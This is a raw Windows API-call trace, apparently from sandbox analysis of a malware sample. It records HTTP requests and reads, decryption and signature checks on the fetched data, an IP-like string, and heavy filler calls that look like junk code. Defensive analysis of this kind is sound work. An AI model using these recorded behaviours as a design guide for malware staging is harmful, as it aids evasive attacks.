[0134.665] GetLastError () returned 0x0 [0134.665] GetLastError () returned 0x0 [0134.666] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x4ed5e0*, dwOptionalLength=0x154 | out: lpOptional=0x4ed5e0*) returned 1 [0136.658] lstrlenA (lpString="just string") returned 11 [0136.658] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.658] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.659] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.660] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.661] GetLastError () returned 0x0 [0136.662] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x246f918, lpdwBufferLength=0x246f870, lpdwIndex=0x0 | out: lpBuffer=0x246f918*, lpdwBufferLength=0x246f870*=0x4, lpdwIndex=0x0) returned 1 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.663] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.664] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.665] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.666] GetLastError () returned 0x0 [0136.668] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000005, lpBuffer=0x246f860, lpdwBufferLength=0x246f868, lpdwIndex=0x0 | out: lpBuffer=0x246f860*, lpdwBufferLength=0x246f868*=0x4, lpdwIndex=0x0) returned 1 [0136.668] GetCurrentProcessId () returned 0x79c [0136.668] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x5178a0, dwNumberOfBytesToRead=0x94, lpdwNumberOfBytesRead=0x246f864 | out: lpBuffer=0x5178a0*, lpdwNumberOfBytesRead=0x246f864*=0x94) returned 1 [0136.668] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x517934, dwNumberOfBytesToRead=0x0, lpdwNumberOfBytesRead=0x246f864 | out: lpBuffer=0x517934*, lpdwNumberOfBytesRead=0x246f864*=0x0) returned 1 [0136.668] GetCurrentProcessId () returned 0x79c [0136.668] lstrlenA (lpString="just string") returned 11 [0136.668] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.668] GetLastError () returned 0x0 [0136.668] CryptDuplicateHash (in: hHash=0x4e6e68, pdwReserved=0x0, dwFlags=0x0, phHash=0x246f868 | out: phHash=0x246f868) returned 1 [0136.668] CryptDecrypt (in: hKey=0x4e6b98, hHash=0x4f3838, Final=1, dwFlags=0x0, pbData=0x501538, pdwDataLen=0x246f934 | out: pbData=0x501538, pdwDataLen=0x246f934) returned 1 [0136.669] CryptVerifySignatureW (hHash=0x4f3838, pbSignature=0x5178a0, dwSigLen=0x60, hPubKey=0x4e6a40, szDescription=0x0, dwFlags=0x0) returned 1 [0136.669] CryptDestroyHash (hHash=0x4f3838) returned 1 [0136.669] GetLastError () returned 0x0 [0136.669] wsprintfA (in: param_1=0x246f7c3, param_2="%X%P" | out: param_1="2127EP") returned 6 [0136.669] SetLastError (dwErrCode=0x0) [0136.669] GetCurrentProcessId () returned 0x79c [0136.669] GetCurrentProcessId () returned 0x79c [0136.669] GetCurrentProcessId () returned 0x79c [0136.669] GetCurrentProcessId () returned 0x79c [0136.669] lstrlenA (lpString="just string") returned 11 [0136.669] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.669] GetLastError () returned 0x0 [0136.669] GetLastError () returned 0x0 [0136.669] GetCurrentProcessId () returned 0x79c [0136.669] lstrlenA (lpString="just string") returned 11 [0136.669] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.669] GetLastError () returned 0x0 [0136.669] GetCurrentProcess () returned 0xffffffff [0136.669] GetLastError () returned 0x0 [0136.669] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="212CDP") returned 6 [0136.669] SetLastError (dwErrCode=0x0) [0136.669] GetCurrentProcessId () returned 0x79c [0136.669] GetLastError () returned 0x0 [0136.669] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="212CEP") returned 6 [0136.669] SetLastError (dwErrCode=0x0) [0136.669] GetCurrentProcessId () returned 0x79c [0136.669] GetCurrentProcessId () returned 0x79c [0136.669] GetCurrentProcessId () returned 0x79c [0136.669] GetCurrentProcessId () returned 0x79c [0136.669] lstrlenA (lpString="just string") returned 11 [0136.669] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.669] GetLastError () returned 0x0 [0136.669] GetLastError () returned 0x0 [0136.669] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="212ECP") returned 6 [0136.669] SetLastError (dwErrCode=0x0) [0136.670] GetCurrentProcessId () returned 0x79c [0136.670] GetCurrentProcessId () returned 0x79c [0136.670] GetCurrentProcessId () returned 0x79c [0136.670] GetCurrentProcessId () returned 0x79c [0136.670] lstrlenA (lpString="just string") returned 11 [0136.670] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.670] GetLastError () returned 0x0 [0136.670] GetLastError () returned 0x0 [0136.670] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.670] SetLastError (dwErrCode=0x0) [0136.670] GetCurrentProcess () returned 0xffffffff [0136.670] GetLastError () returned 0x0 [0136.670] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21326P") returned 6 [0136.670] SetLastError (dwErrCode=0x0) [0136.670] GetCurrentProcessId () returned 0x79c [0136.670] GetCurrentProcess () returned 0xffffffff [0136.670] GetLastError () returned 0x0 [0136.670] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21327P") returned 6 [0136.670] SetLastError (dwErrCode=0x0) [0136.670] GetCurrentProcessId () returned 0x79c [0136.670] GetLastError () returned 0x0 [0136.670] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21328P") returned 6 [0136.670] SetLastError (dwErrCode=0x0) [0136.670] GetCurrentProcessId () returned 0x79c [0136.670] GetCurrentProcessId () returned 0x79c [0136.670] GetCurrentProcessId () returned 0x79c [0136.670] GetCurrentProcessId () returned 0x79c [0136.670] lstrlenA (lpString="just string") returned 11 [0136.670] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.670] GetLastError () returned 0x0 [0136.670] GetLastError () returned 0x0 [0136.670] lstrcmpA (lpString1="\x1a", lpString2="luck") returned -1 [0136.670] SetLastError (dwErrCode=0x0) [0136.670] GetCurrentProcess () returned 0xffffffff [0136.670] GetLastError () returned 0x0 [0136.670] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21358P") returned 6 [0136.670] SetLastError (dwErrCode=0x0) [0136.670] GetCurrentProcessId () returned 0x79c [0136.670] GetCurrentProcess () returned 0xffffffff [0136.670] GetLastError () returned 0x0 [0136.670] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21359P") returned 6 [0136.670] SetLastError (dwErrCode=0x0) [0136.670] GetCurrentProcessId () returned 0x79c [0136.670] GetLastError () returned 0x0 [0136.670] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="2135AP") returned 6 [0136.670] SetLastError (dwErrCode=0x0) [0136.670] GetCurrentProcessId () returned 0x79c [0136.670] GetCurrentProcessId () returned 0x79c [0136.670] GetCurrentProcessId () returned 0x79c [0136.670] GetCurrentProcessId () returned 0x79c [0136.670] lstrlenA (lpString="just string") returned 11 [0136.670] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.670] GetLastError () returned 0x0 [0136.670] GetCurrentProcessId () returned 0x79c [0136.670] GetCurrentProcessId () returned 0x79c [0136.670] lstrlenA (lpString="just string") returned 11 [0136.670] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.670] GetLastError () returned 0x0 [0136.670] GetCurrentProcessId () returned 0x79c [0136.671] GetCurrentProcessId () returned 0x79c [0136.671] GetCurrentProcessId () returned 0x79c [0136.671] lstrlenA (lpString="just string") returned 11 [0136.671] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.671] GetLastError () returned 0x0 [0136.671] GetCurrentProcessId () returned 0x79c [0136.671] GetCurrentProcessId () returned 0x79c [0136.671] lstrlenA (lpString="just string") returned 11 [0136.671] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.671] GetLastError () returned 0x0 [0136.671] GetLastError () returned 0x0 [0136.671] lstrcmpA (lpString1="ÿÿ3.201.20.6", lpString2="luck") returned 1 [0136.671] SetLastError (dwErrCode=0x0) [0136.671] GetCurrentProcess () returned 0xffffffff [0136.671] GetLastError () returned 0x0 [0136.671] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="213E4P") returned 6 [0136.671] SetLastError (dwErrCode=0x0) [0136.671] GetCurrentProcessId () returned 0x79c [0136.671] GetCurrentProcess () returned 0xffffffff [0136.671] GetLastError () returned 0x0 [0136.671] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="213E5P") returned 6 [0136.671] SetLastError (dwErrCode=0x0) [0136.671] GetCurrentProcessId () returned 0x79c [0136.671] GetLastError () returned 0x0 [0136.671] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="213E6P") returned 6 [0136.671] SetLastError (dwErrCode=0x0) [0136.671] GetCurrentProcessId () returned 0x79c [0136.671] GetCurrentProcessId () returned 0x79c [0136.671] GetCurrentProcessId () returned 0x79c [0136.671] GetCurrentProcessId () returned 0x79c [0136.671] lstrlenA (lpString="just string") returned 11 [0136.671] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.671] GetLastError () returned 0x0 [0136.671] GetLastError () returned 0x0 [0136.671] lstrcmpA (lpString1="ÿÿ3.201.20.6", lpString2="luck") returned 1 [0136.671] SetLastError (dwErrCode=0x0) [0136.671] GetCurrentProcess () returned 0xffffffff [0136.671] GetLastError () returned 0x0 [0136.671] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="213F8P") returned 6 [0136.671] SetLastError (dwErrCode=0x0) [0136.671] GetCurrentProcessId () returned 0x79c [0136.671] GetCurrentProcess () returned 0xffffffff [0136.671] GetLastError () returned 0x0 [0136.671] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="213F9P") returned 6 [0136.671] SetLastError (dwErrCode=0x0) [0136.671] GetCurrentProcessId () returned 0x79c [0136.671] GetLastError () returned 0x0 [0136.671] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="213FAP") returned 6 [0136.671] SetLastError (dwErrCode=0x0) [0136.671] GetCurrentProcessId () returned 0x79c [0136.671] GetCurrentProcessId () returned 0x79c [0136.671] GetCurrentProcessId () returned 0x79c [0136.671] GetCurrentProcessId () returned 0x79c [0136.671] lstrlenA (lpString="just string") returned 11 [0136.671] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.671] GetLastError () returned 0x0 [0136.671] lstrlenA (lpString="just string") returned 11 [0136.671] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0136.672] GetLastError () returned 0x0 [0136.672] GetCurrentProcess () returned 0xffffffff [0136.672] GetLastError () returned 0x0 [0136.672] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21471P") returned 6 [0136.672] SetLastError (dwErrCode=0x0) [0136.672] GetCurrentProcessId () returned 0x79c [0136.672] GetLastError () returned 0x0 [0136.672] wsprintfA (in: param_1=0x246f58b, param_2="%X%P" | out: param_1="21472P") returned 6 [0136.672] SetLastError (dwErrCode=0x0) [0136.672] GetCurrentProcessId () returned 